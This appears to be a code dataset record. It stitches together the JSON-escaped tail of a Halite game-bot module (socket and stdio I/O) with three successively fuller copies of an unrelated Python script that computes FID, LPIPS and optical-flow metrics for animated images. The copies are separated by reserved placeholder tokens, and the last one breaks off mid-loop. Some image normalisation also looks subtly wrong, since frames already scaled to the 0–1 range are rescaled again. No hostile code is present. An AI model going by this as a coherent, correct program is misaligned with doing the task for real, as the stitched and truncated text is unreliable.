self.update_map()\n self.initial_map = copy.deepcopy(self.map)\n self._send_name = True\n self.done = False\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info('---NEW TURN---')\n recv = self._get_string()\n if recv == '':\n self.close()\n self.done = True\n return self.map\n self.map._parse(recv)\n return self.map\n\n def close(self):\n pass\n",
"step-5": "import sys\nimport logging\nimport copy\nimport socket\n\nfrom . import game_map\n\nclass GameUnix:\n \"\"\"\n :ivar map: Current map representation\n :ivar initial_map: The initial version of the map before game starts\n \"\"\"\n\n def _send_string(self, s):\n \"\"\"\n Send data to the game. Call :function:`done_sending` once finished.\n\n :param str s: String to send\n :return: nothing\n \"\"\"\n self.sfile.write(s)\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n self.sfile.write('\\n')\n self.sfile.flush()\n\n def _get_string(self):\n \"\"\"\n Read input from the game.\n\n :return: The input read from the Halite engine\n :rtype: str\n \"\"\"\n result = self.sfile.readline().rstrip('\\n')\n return result\n\n def send_command_queue(self, command_queue):\n \"\"\"\n Issue the given list of commands.\n\n :param list[str] command_queue: List of commands to send the Halite engine\n :return: nothing\n \"\"\"\n for command in command_queue:\n self._send_string(command)\n\n self._done_sending()\n\n @staticmethod\n def _set_up_logging(tag, name):\n \"\"\"\n Set up and truncate the log\n\n :param tag: The user tag (used for naming the log)\n :param name: The bot name (used for naming the log)\n :return: nothing\n \"\"\"\n log_file = \"{}_{}.log\".format(tag, name)\n logging.basicConfig(filename=log_file, level=logging.DEBUG, filemode='w')\n logging.info(\"Initialized bot {}\".format(name))\n\n def __init__(self, name, socket_path=\"/dev/shm/bot.sock\"):\n \"\"\"\n Initialize the bot with the given name.\n\n :param name: The name of the bot.\n \"\"\"\n self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n connected = False\n while not connected:\n try:\n self.s.connect(socket_path)\n connected = True\n except Exception:\n pass # Do nothing, just try again\n self.sfile = self.s.makefile('rw')\n\n self._name = name\n self._send_name = False\n tag = int(self._get_string())\n GameUnix._set_up_logging(tag, name)\n width, height = [int(x) for x in self._get_string().strip().split()]\n self.map = game_map.Map(tag, width, height)\n self.update_map()\n self.initial_map = copy.deepcopy(self.map)\n self._send_name = True\n\n self.done = False\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info(\"---NEW TURN---\")\n recv = self._get_string()\n\n if recv == \"\":\n self.close()\n self.done = True\n return self.map # last step map\n\n self.map._parse(recv)\n return self.map\n \n def close(self):\n self.sfile.close()\n self.s.close()\n\nclass GameStdIO:\n \"\"\"\n :ivar map: Current map representation\n :ivar initial_map: The initial version of the map before game starts\n \"\"\"\n\n def _send_string(self, s):\n \"\"\"\n Send data to the game. Call :function:`done_sending` once finished.\n\n :param str s: String to send\n :return: nothing\n \"\"\"\n sys.stdout.write(s)\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\n def _get_string(self):\n \"\"\"\n Read input from the game.\n\n :return: The input read from the Halite engine\n :rtype: str\n \"\"\"\n result = sys.stdin.readline().rstrip('\\n')\n return result\n\n def send_command_queue(self, command_queue):\n \"\"\"\n Issue the given list of commands.\n\n :param list[str] command_queue: List of commands to send the Halite engine\n :return: nothing\n \"\"\"\n for command in command_queue:\n self._send_string(command)\n\n self._done_sending()\n\n @staticmethod\n def _set_up_logging(tag, name):\n \"\"\"\n Set up and truncate the log\n\n :param tag: The user tag (used for naming the log)\n :param name: The bot name (used for naming the log)\n :return: nothing\n \"\"\"\n log_file = \"{}_{}.log\".format(tag, name)\n logging.basicConfig(filename=log_file, level=logging.DEBUG, filemode='w')\n logging.info(\"Initialized bot {}\".format(name))\n\n def __init__(self, name):\n \"\"\"\n Initialize the bot with the given name.\n\n :param name: The name of the bot.\n \"\"\"\n\n self._name = name\n self._send_name = False\n tag = int(self._get_string())\n GameStdIO._set_up_logging(tag, name)\n width, height = [int(x) for x in self._get_string().strip().split()]\n self.map = game_map.Map(tag, width, height)\n self.update_map()\n self.initial_map = copy.deepcopy(self.map)\n self._send_name = True\n\n self.done = False\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info(\"---NEW TURN---\")\n recv = self._get_string()\n\n if recv == \"\":\n self.close()\n self.done = True\n return self.map # last step map\n\n self.map._parse(recv)\n return self.map\n \n def close(self):\n pass",
"step-ids": [
8,
14,
18,
21,
22
]
}
|
[
8,
14,
18,
21,
22
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def calc_optical_flow_metrics(flow_predictor, frames, movable_mask):
if not movable_mask.any():
return dict(flow_l2=float('nan'))
assert not (frames < 0).any() and not (frames > 1).any()
flows = flow_predictor.predict_flow(frames * 2 - 1)[1]
flows_x, flows_y = flows[:, [0]], flows[:, [1]]
flow_x_median = float(flows_x[movable_mask.expand_as(flows_x)].abs().mean()
)
flow_y_median = float(flows_y[movable_mask.expand_as(flows_y)].abs().mean()
)
result = dict(flow_l2=(flow_x_median ** 2 + flow_y_median ** 2) ** 0.5)
return result
def batch2pil(batch):
np_batch = ((batch.permute(0, 2, 3, 1) / 2 + 0.5) * 255).clamp(0, 255).cpu(
).numpy().astype('uint8')
return [Image.fromarray(ar) for ar in np_batch]
def main(args):
segmentation_network = SegmentationModule(os.path.expandvars(args.
segm_network)).cuda()
segmentation_network.eval()
lpips_criterion = LPIPSLossWrapper(args.lpips_network).cuda()
flow_predictor = FlowPredictor(os.path.expandvars(args.flow_network))
all_metrics = []
all_metrics_idx = []
gen_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.
gen_images), '*.jpg')))
gen_frames_as_img = []
for fname in gen_frame_paths:
frame = Image.open(fname).convert('RGB')
frame_batch = image2batch(frame).cuda() / 2 + 0.5
assert not (frame_batch < 0).any() and not (frame_batch > 1).any()
frame_img = batch2pil(frame_batch)[0]
gen_frames_as_img.append(frame_img)
gt_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.
gt_images), '*.jpg')))
gt_frames_as_img = []
for fname in gt_frame_paths:
frame = Image.open(fname).convert('RGB')
frame = frame.resize(get_scale_size(args.resolution, frame.size))
frame_batch = image2batch(frame).cuda() / 2 + 0.5
assert not (frame_batch < 0).any() and not (frame_batch > 1).any()
scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])
frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=
'bilinear', align_corners=False)
crop_y1, crop_y2, crop_x1, crop_x2 = (
choose_center_full_size_crop_params(*frame_batch.shape[2:]))
frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]
frame_img = batch2pil(frame_batch)[0]
gt_frames_as_img.append(frame_img)
print('Calculating FID for images...')
block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]
fid_model = InceptionV3([block_idx]).cuda()
fid_gt_means, fid_gt_std = _compute_statistics_of_images(gt_frames_as_img,
fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False
)
fid_gen_means, fid_gen_std = _compute_statistics_of_images(
gen_frames_as_img, fid_model, batch_size=args.batch, dims=2048,
cuda=True, keep_size=False)
fid = dict()
fid['fid_images'] = float(calculate_frechet_distance(fid_gt_means,
fid_gt_std, fid_gen_means, fid_gen_std))
for src_path in sorted(glob.glob(os.path.join(args.gen_videos, '*'))):
if not os.path.isdir(src_path):
continue
print(f'Processing {src_path}')
if src_path.endswith('/'):
src_path = src_path[:-1]
vname = os.path.basename(src_path)
frames = load_video_frames_from_folder(src_path, frame_template=
args.frametemplate) / 2 + 0.5
assert not (frames < 0).any() and not (frames > 1).any()
cur_segm_scores = segmentation_network.predict(frames[:1].cuda(),
imgSizes=[args.resolution])
cur_segm_proba = F.softmax(cur_segm_scores, dim=1)
movable_scores = cur_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True
)[0]
immovable_scores = cur_segm_proba[:, [c for c in range(
cur_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(1,
keepdim=True)[0]
shift_mask = (movable_scores > immovable_scores).float()
print('Flow metrics...')
flow_metrics = calc_optical_flow_metrics(flow_predictor, frames,
shift_mask > 0)
print('LPIPS metrics...')
cur_metrics = collections.defaultdict(float)
lpips = []
for l in range(1, frames.shape[0], args.batch):
r = min(l + args.batch, frames.shape[0])
lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -
shift_mask), frames[0].cuda() * (1 - shift_mask))))
cur_metrics['lpips_gen'] = np.mean(lpips)
sum_dicts(cur_metrics, flow_metrics)
all_metrics.append(cur_metrics)
all_metrics_idx.append(vname)
real_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.
real_images), '*.jpg')))
real_frames_as_img = []
real_frames_with_segm = {}
for fname in real_frame_paths:
frame = Image.open(fname).convert('RGB')
frame = frame.resize(get_scale_size(args.resolution, frame.size))
frame_batch = image2batch(frame).cuda()
frame_batch = (frame_batch - frame_batch.min()) / (frame_batch.max(
) - frame_batch.min())
assert not (frame_batch < 0).any() and not (frame_batch > 1).any()
scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])
frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=
'bilinear', align_corners=False)
crop_y1, crop_y2, crop_x1, crop_x2 = (
choose_center_full_size_crop_params(*frame_batch.shape[2:]))
frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]
frame_img = batch2pil(frame_batch)[0]
real_frames_as_img.append(frame_img)
cur_segm_scores = segmentation_network.predict(frame_batch,
imgSizes=[args.resolution])
cur_segm_proba = F.softmax(cur_segm_scores, dim=1)
f_id = os.path.splitext(os.path.basename(fname))[0]
real_frames_with_segm[f_id] = frame_batch, cur_segm_proba
animated_frames_by_i = collections.defaultdict(list)
for src_path in sorted(glob.glob(os.path.join(args.animated_images, '*'))):
if not os.path.isdir(src_path):
continue
print(f'Processing {src_path}')
if src_path.endswith('/'):
src_path = src_path[:-1]
vname = os.path.basename(src_path)
frames = load_video_frames_from_folder(src_path, frame_template=
args.frametemplate) / 2 + 0.5
assert not (frames < 0).any() and not (frames > 1).any()
for i, fr in enumerate(batch2pil(frames)):
animated_frames_by_i[i].append(fr)
cur_real_frame = None
cur_real_segm_proba = None
for frname, (fr, segm) in real_frames_with_segm.items():
if vname.startswith(frname):
cur_real_frame = fr
cur_real_segm_proba = segm
break
assert cur_real_frame is not None, (vname, real_frames_with_segm.keys()
)
movable_scores = cur_real_segm_proba[:, MOVABLE_CLASSES].max(1,
keepdim=True)[0]
immovable_scores = cur_real_segm_proba[:, [c for c in range(
cur_real_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(
1, keepdim=True)[0]
shift_mask = (movable_scores > immovable_scores).float()
print('Flow metrics...')
flow_metrics = calc_optical_flow_metrics(flow_predictor, frames,
shift_mask > 0)
print('LPIPS metrics...')
cur_metrics = collections.defaultdict(float)
cur_metrics['lpips_1_frame'] = float(lpips_criterion(frames[:1],
cur_real_frame))
lpips = []
for l in range(0, frames.shape[0], args.batch):
r = min(l + args.batch, frames.shape[0])
lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -
shift_mask), cur_real_frame.cuda() * (1 - shift_mask))))
cur_metrics['lpips_anim'] = np.mean(lpips)
sum_dicts(cur_metrics, flow_metrics)
all_metrics.append(cur_metrics)
all_metrics_idx.append(vname)
print('Calculating FID...')
block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]
fid_model = InceptionV3([block_idx]).cuda()
fid_real_means, fid_real_std = _compute_statistics_of_images(
real_frames_as_img, fid_model, batch_size=args.batch, dims=2048,
cuda=True, keep_size=False)
for i, cur_gen_frames in animated_frames_by_i.items():
if i % args.skipframe != 0:
continue
cur_fid_means, cur_fid_std = _compute_statistics_of_images(
cur_gen_frames, fid_model, batch_size=args.batch, dims=2048,
cuda=True, keep_size=False)
fid[f'fid_{i}'] = float(calculate_frechet_distance(fid_real_means,
fid_real_std, cur_fid_means, cur_fid_std))
all_metrics.append(fid)
all_metrics_idx.append('global_metrics')
os.makedirs(os.path.dirname(args.outpath), exist_ok=True)
sum_metrics = pd.DataFrame(all_metrics, index=all_metrics_idx)
sum_metrics.to_csv(args.outpath, sep='\t')
if __name__ == '__main__':
import argparse
aparser = argparse.ArgumentParser()
aparser.add_argument('--outpath', type=str, default=
'results/metrics.csv', help='Path to file to write metrics to')
aparser.add_argument('--gen-images', type=str, default=
'results/generated/256/images', help='Path to generated images')
aparser.add_argument('--gt-images', type=str, default=
'results/gt_images', help='Path to gt-images')
aparser.add_argument('--gen-videos', type=str, default=
'results/generated/256/noise', help=
'Path to generated videos (separate folder with frames for each video)'
)
aparser.add_argument('--animated-images', type=str, default=
'results/encode_and_animate_results/test_images/02_eoif', help=
'Path to animated images (separate folder with frames for each video)')
aparser.add_argument('--real-images', type=str, default=
'results/test_images', help='Path to real input images')
aparser.add_argument('--frametemplate', type=str, default='{:05}.jpg',
help='Template to generate frame file names')
aparser.add_argument('--resolution', type=int, default=256, help=
'Resolution of generated frames')
aparser.add_argument('--skipframe', type=int, default=10, help=
'How many frames to skip before evaluating FID')
aparser.add_argument('--batch', type=int, default=69, help=
'Batch size for FID and LPIPS calculation')
aparser.add_argument('--segm-network', type=str, default=os.path.join(
constants.RESULT_DIR,
'pretrained_models/ade20k-resnet50dilated-ppm_deepsup'), help=
'Path to ade20k-resnet50dilated-ppm_deepsup')
aparser.add_argument('--flow-network', type=str, default=os.path.join(
constants.RESULT_DIR, 'pretrained_models/SuperSloMo.ckpt'), help=
'Path to SuperSloMo.ckpt')
aparser.add_argument('--lpips-network', type=str, default=os.path.join(
constants.RESULT_DIR, 'pretrained_models/lpips_models/vgg.pth'),
help='Path to vgg.pth')
main(aparser.parse_args())
<|reserved_special_token_1|>
<|reserved_special_token_0|>
MOVABLE_CLASSES = [2, 21]
def calc_optical_flow_metrics(flow_predictor, frames, movable_mask):
if not movable_mask.any():
return dict(flow_l2=float('nan'))
assert not (frames < 0).any() and not (frames > 1).any()
flows = flow_predictor.predict_flow(frames * 2 - 1)[1]
flows_x, flows_y = flows[:, [0]], flows[:, [1]]
flow_x_median = float(flows_x[movable_mask.expand_as(flows_x)].abs().mean()
)
flow_y_median = float(flows_y[movable_mask.expand_as(flows_y)].abs().mean()
)
result = dict(flow_l2=(flow_x_median ** 2 + flow_y_median ** 2) ** 0.5)
return result
def batch2pil(batch):
np_batch = ((batch.permute(0, 2, 3, 1) / 2 + 0.5) * 255).clamp(0, 255).cpu(
).numpy().astype('uint8')
return [Image.fromarray(ar) for ar in np_batch]
def main(args):
segmentation_network = SegmentationModule(os.path.expandvars(args.
segm_network)).cuda()
segmentation_network.eval()
lpips_criterion = LPIPSLossWrapper(args.lpips_network).cuda()
flow_predictor = FlowPredictor(os.path.expandvars(args.flow_network))
all_metrics = []
all_metrics_idx = []
gen_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.
gen_images), '*.jpg')))
gen_frames_as_img = []
for fname in gen_frame_paths:
frame = Image.open(fname).convert('RGB')
frame_batch = image2batch(frame).cuda() / 2 + 0.5
assert not (frame_batch < 0).any() and not (frame_batch > 1).any()
frame_img = batch2pil(frame_batch)[0]
gen_frames_as_img.append(frame_img)
gt_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.
gt_images), '*.jpg')))
gt_frames_as_img = []
for fname in gt_frame_paths:
frame = Image.open(fname).convert('RGB')
frame = frame.resize(get_scale_size(args.resolution, frame.size))
frame_batch = image2batch(frame).cuda() / 2 + 0.5
assert not (frame_batch < 0).any() and not (frame_batch > 1).any()
scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])
frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=
'bilinear', align_corners=False)
crop_y1, crop_y2, crop_x1, crop_x2 = (
choose_center_full_size_crop_params(*frame_batch.shape[2:]))
frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]
frame_img = batch2pil(frame_batch)[0]
gt_frames_as_img.append(frame_img)
print('Calculating FID for images...')
block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]
fid_model = InceptionV3([block_idx]).cuda()
fid_gt_means, fid_gt_std = _compute_statistics_of_images(gt_frames_as_img,
fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False
)
fid_gen_means, fid_gen_std = _compute_statistics_of_images(
gen_frames_as_img, fid_model, batch_size=args.batch, dims=2048,
cuda=True, keep_size=False)
fid = dict()
fid['fid_images'] = float(calculate_frechet_distance(fid_gt_means,
fid_gt_std, fid_gen_means, fid_gen_std))
for src_path in sorted(glob.glob(os.path.join(args.gen_videos, '*'))):
if not os.path.isdir(src_path):
continue
print(f'Processing {src_path}')
if src_path.endswith('/'):
src_path = src_path[:-1]
vname = os.path.basename(src_path)
frames = load_video_frames_from_folder(src_path, frame_template=
args.frametemplate) / 2 + 0.5
assert not (frames < 0).any() and not (frames > 1).any()
cur_segm_scores = segmentation_network.predict(frames[:1].cuda(),
imgSizes=[args.resolution])
cur_segm_proba = F.softmax(cur_segm_scores, dim=1)
movable_scores = cur_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True
)[0]
immovable_scores = cur_segm_proba[:, [c for c in range(
cur_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(1,
keepdim=True)[0]
shift_mask = (movable_scores > immovable_scores).float()
print('Flow metrics...')
flow_metrics = calc_optical_flow_metrics(flow_predictor, frames,
shift_mask > 0)
print('LPIPS metrics...')
cur_metrics = collections.defaultdict(float)
lpips = []
for l in range(1, frames.shape[0], args.batch):
r = min(l + args.batch, frames.shape[0])
lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -
shift_mask), frames[0].cuda() * (1 - shift_mask))))
cur_metrics['lpips_gen'] = np.mean(lpips)
sum_dicts(cur_metrics, flow_metrics)
all_metrics.append(cur_metrics)
all_metrics_idx.append(vname)
real_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.
real_images), '*.jpg')))
real_frames_as_img = []
real_frames_with_segm = {}
for fname in real_frame_paths:
frame = Image.open(fname).convert('RGB')
frame = frame.resize(get_scale_size(args.resolution, frame.size))
frame_batch = image2batch(frame).cuda()
frame_batch = (frame_batch - frame_batch.min()) / (frame_batch.max(
) - frame_batch.min())
assert not (frame_batch < 0).any() and not (frame_batch > 1).any()
scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])
frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=
'bilinear', align_corners=False)
crop_y1, crop_y2, crop_x1, crop_x2 = (
choose_center_full_size_crop_params(*frame_batch.shape[2:]))
frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]
frame_img = batch2pil(frame_batch)[0]
real_frames_as_img.append(frame_img)
cur_segm_scores = segmentation_network.predict(frame_batch,
imgSizes=[args.resolution])
cur_segm_proba = F.softmax(cur_segm_scores, dim=1)
f_id = os.path.splitext(os.path.basename(fname))[0]
real_frames_with_segm[f_id] = frame_batch, cur_segm_proba
animated_frames_by_i = collections.defaultdict(list)
for src_path in sorted(glob.glob(os.path.join(args.animated_images, '*'))):
if not os.path.isdir(src_path):
continue
print(f'Processing {src_path}')
if src_path.endswith('/'):
src_path = src_path[:-1]
vname = os.path.basename(src_path)
frames = load_video_frames_from_folder(src_path, frame_template=
args.frametemplate) / 2 + 0.5
assert not (frames < 0).any() and not (frames > 1).any()
for i, fr in enumerate(batch2pil(frames)):
animated_frames_by_i[i].append(fr)
cur_real_frame = None
cur_real_segm_proba = None
for frname, (fr, segm) in real_frames_with_segm.items():
if vname.startswith(frname):
cur_real_frame = fr
cur_real_segm_proba = segm
break
assert cur_real_frame is not None, (vname, real_frames_with_segm.keys()
)
movable_scores = cur_real_segm_proba[:, MOVABLE_CLASSES].max(1,
keepdim=True)[0]
immovable_scores = cur_real_segm_proba[:, [c for c in range(
cur_real_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(
1, keepdim=True)[0]
shift_mask = (movable_scores > immovable_scores).float()
print('Flow metrics...')
flow_metrics = calc_optical_flow_metrics(flow_predictor, frames,
shift_mask > 0)
print('LPIPS metrics...')
cur_metrics = collections.defaultdict(float)
cur_metrics['lpips_1_frame'] = float(lpips_criterion(frames[:1],
cur_real_frame))
lpips = []
for l in range(0, frames.shape[0], args.batch):
r = min(l + args.batch, frames.shape[0])
lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -
shift_mask), cur_real_frame.cuda() * (1 - shift_mask))))
cur_metrics['lpips_anim'] = np.mean(lpips)
sum_dicts(cur_metrics, flow_metrics)
all_metrics.append(cur_metrics)
all_metrics_idx.append(vname)
print('Calculating FID...')
block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]
fid_model = InceptionV3([block_idx]).cuda()
fid_real_means, fid_real_std = _compute_statistics_of_images(
real_frames_as_img, fid_model, batch_size=args.batch, dims=2048,
cuda=True, keep_size=False)
for i, cur_gen_frames in animated_frames_by_i.items():
if i % args.skipframe != 0:
continue
cur_fid_means, cur_fid_std = _compute_statistics_of_images(
cur_gen_frames, fid_model, batch_size=args.batch, dims=2048,
cuda=True, keep_size=False)
fid[f'fid_{i}'] = float(calculate_frechet_distance(fid_real_means,
fid_real_std, cur_fid_means, cur_fid_std))
all_metrics.append(fid)
all_metrics_idx.append('global_metrics')
os.makedirs(os.path.dirname(args.outpath), exist_ok=True)
sum_metrics = pd.DataFrame(all_metrics, index=all_metrics_idx)
sum_metrics.to_csv(args.outpath, sep='\t')
if __name__ == '__main__':
import argparse
aparser = argparse.ArgumentParser()
aparser.add_argument('--outpath', type=str, default=
'results/metrics.csv', help='Path to file to write metrics to')
aparser.add_argument('--gen-images', type=str, default=
'results/generated/256/images', help='Path to generated images')
aparser.add_argument('--gt-images', type=str, default=
'results/gt_images', help='Path to gt-images')
aparser.add_argument('--gen-videos', type=str, default=
'results/generated/256/noise', help=
'Path to generated videos (separate folder with frames for each video)'
)
aparser.add_argument('--animated-images', type=str, default=
'results/encode_and_animate_results/test_images/02_eoif', help=
'Path to animated images (separate folder with frames for each video)')
aparser.add_argument('--real-images', type=str, default=
'results/test_images', help='Path to real input images')
aparser.add_argument('--frametemplate', type=str, default='{:05}.jpg',
help='Template to generate frame file names')
aparser.add_argument('--resolution', type=int, default=256, help=
'Resolution of generated frames')
aparser.add_argument('--skipframe', type=int, default=10, help=
'How many frames to skip before evaluating FID')
aparser.add_argument('--batch', type=int, default=69, help=
'Batch size for FID and LPIPS calculation')
aparser.add_argument('--segm-network', type=str, default=os.path.join(
constants.RESULT_DIR,
'pretrained_models/ade20k-resnet50dilated-ppm_deepsup'), help=
'Path to ade20k-resnet50dilated-ppm_deepsup')
aparser.add_argument('--flow-network', type=str, default=os.path.join(
constants.RESULT_DIR, 'pretrained_models/SuperSloMo.ckpt'), help=
'Path to SuperSloMo.ckpt')
aparser.add_argument('--lpips-network', type=str, default=os.path.join(
constants.RESULT_DIR, 'pretrained_models/lpips_models/vgg.pth'),
help='Path to vgg.pth')
main(aparser.parse_args())
<|reserved_special_token_1|>
import collections
import glob
import os
import pandas as pd
import numpy as np
import torch.nn.functional as F
import PIL.Image as Image
from inference.base_image_utils import get_scale_size, image2batch, choose_center_full_size_crop_params
from inference.metrics.fid.fid_score import _compute_statistics_of_images, calculate_frechet_distance
from inference.metrics.fid.inception import InceptionV3
from inference.metrics.lpips import LPIPSLossWrapper
from inference.perspective import load_video_frames_from_folder, FlowPredictor
from inference.segmentation import SegmentationModule
from inference.encode_and_animate import calc_segmentation_posterior_error, sum_dicts
from inference.metrics.ssim import SSIM
import constants
MOVABLE_CLASSES = [2, 21]
def calc_optical_flow_metrics(flow_predictor, frames, movable_mask):
if not movable_mask.any():
return dict(flow_l2=float('nan'))
assert not (frames < 0).any() and not (frames > 1).any()
flows = flow_predictor.predict_flow(frames * 2 - 1)[1]
flows_x, flows_y = flows[:, [0]], flows[:, [1]]
flow_x_median = float(flows_x[movable_mask.expand_as(flows_x)].abs().mean()
)
flow_y_median = float(flows_y[movable_mask.expand_as(flows_y)].abs().mean()
)
result = dict(flow_l2=(flow_x_median ** 2 + flow_y_median ** 2) ** 0.5)
return result
def batch2pil(batch):
np_batch = ((batch.permute(0, 2, 3, 1) / 2 + 0.5) * 255).clamp(0, 255).cpu(
).numpy().astype('uint8')
return [Image.fromarray(ar) for ar in np_batch]
def main(args):
segmentation_network = SegmentationModule(os.path.expandvars(args.
segm_network)).cuda()
segmentation_network.eval()
lpips_criterion = LPIPSLossWrapper(args.lpips_network).cuda()
flow_predictor = FlowPredictor(os.path.expandvars(args.flow_network))
all_metrics = []
all_metrics_idx = []
gen_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.
gen_images), '*.jpg')))
gen_frames_as_img = []
for fname in gen_frame_paths:
frame = Image.open(fname).convert('RGB')
frame_batch = image2batch(frame).cuda() / 2 + 0.5
assert not (frame_batch < 0).any() and not (frame_batch > 1).any()
frame_img = batch2pil(frame_batch)[0]
gen_frames_as_img.append(frame_img)
gt_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.
gt_images), '*.jpg')))
gt_frames_as_img = []
for fname in gt_frame_paths:
frame = Image.open(fname).convert('RGB')
frame = frame.resize(get_scale_size(args.resolution, frame.size))
frame_batch = image2batch(frame).cuda() / 2 + 0.5
assert not (frame_batch < 0).any() and not (frame_batch > 1).any()
scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])
frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=
'bilinear', align_corners=False)
crop_y1, crop_y2, crop_x1, crop_x2 = (
choose_center_full_size_crop_params(*frame_batch.shape[2:]))
frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]
frame_img = batch2pil(frame_batch)[0]
gt_frames_as_img.append(frame_img)
print('Calculating FID for images...')
block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]
fid_model = InceptionV3([block_idx]).cuda()
fid_gt_means, fid_gt_std = _compute_statistics_of_images(gt_frames_as_img,
fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False
)
fid_gen_means, fid_gen_std = _compute_statistics_of_images(
gen_frames_as_img, fid_model, batch_size=args.batch, dims=2048,
cuda=True, keep_size=False)
fid = dict()
fid['fid_images'] = float(calculate_frechet_distance(fid_gt_means,
fid_gt_std, fid_gen_means, fid_gen_std))
for src_path in sorted(glob.glob(os.path.join(args.gen_videos, '*'))):
if not os.path.isdir(src_path):
continue
print(f'Processing {src_path}')
if src_path.endswith('/'):
src_path = src_path[:-1]
vname = os.path.basename(src_path)
frames = load_video_frames_from_folder(src_path, frame_template=
args.frametemplate) / 2 + 0.5
assert not (frames < 0).any() and not (frames > 1).any()
cur_segm_scores = segmentation_network.predict(frames[:1].cuda(),
imgSizes=[args.resolution])
cur_segm_proba = F.softmax(cur_segm_scores, dim=1)
movable_scores = cur_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True
)[0]
immovable_scores = cur_segm_proba[:, [c for c in range(
cur_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(1,
keepdim=True)[0]
shift_mask = (movable_scores > immovable_scores).float()
print('Flow metrics...')
flow_metrics = calc_optical_flow_metrics(flow_predictor, frames,
shift_mask > 0)
print('LPIPS metrics...')
cur_metrics = collections.defaultdict(float)
lpips = []
for l in range(1, frames.shape[0], args.batch):
r = min(l + args.batch, frames.shape[0])
lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -
shift_mask), frames[0].cuda() * (1 - shift_mask))))
cur_metrics['lpips_gen'] = np.mean(lpips)
sum_dicts(cur_metrics, flow_metrics)
all_metrics.append(cur_metrics)
all_metrics_idx.append(vname)
real_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.
real_images), '*.jpg')))
real_frames_as_img = []
real_frames_with_segm = {}
for fname in real_frame_paths:
frame = Image.open(fname).convert('RGB')
frame = frame.resize(get_scale_size(args.resolution, frame.size))
frame_batch = image2batch(frame).cuda()
frame_batch = (frame_batch - frame_batch.min()) / (frame_batch.max(
) - frame_batch.min())
assert not (frame_batch < 0).any() and not (frame_batch > 1).any()
scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])
frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=
'bilinear', align_corners=False)
crop_y1, crop_y2, crop_x1, crop_x2 = (
choose_center_full_size_crop_params(*frame_batch.shape[2:]))
frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]
frame_img = batch2pil(frame_batch)[0]
real_frames_as_img.append(frame_img)
cur_segm_scores = segmentation_network.predict(frame_batch,
imgSizes=[args.resolution])
cur_segm_proba = F.softmax(cur_segm_scores, dim=1)
f_id = os.path.splitext(os.path.basename(fname))[0]
real_frames_with_segm[f_id] = frame_batch, cur_segm_proba
animated_frames_by_i = collections.defaultdict(list)
for src_path in sorted(glob.glob(os.path.join(args.animated_images, '*'))):
if not os.path.isdir(src_path):
continue
print(f'Processing {src_path}')
if src_path.endswith('/'):
src_path = src_path[:-1]
vname = os.path.basename(src_path)
frames = load_video_frames_from_folder(src_path, frame_template=
args.frametemplate) / 2 + 0.5
assert not (frames < 0).any() and not (frames > 1).any()
for i, fr in enumerate(batch2pil(frames)):
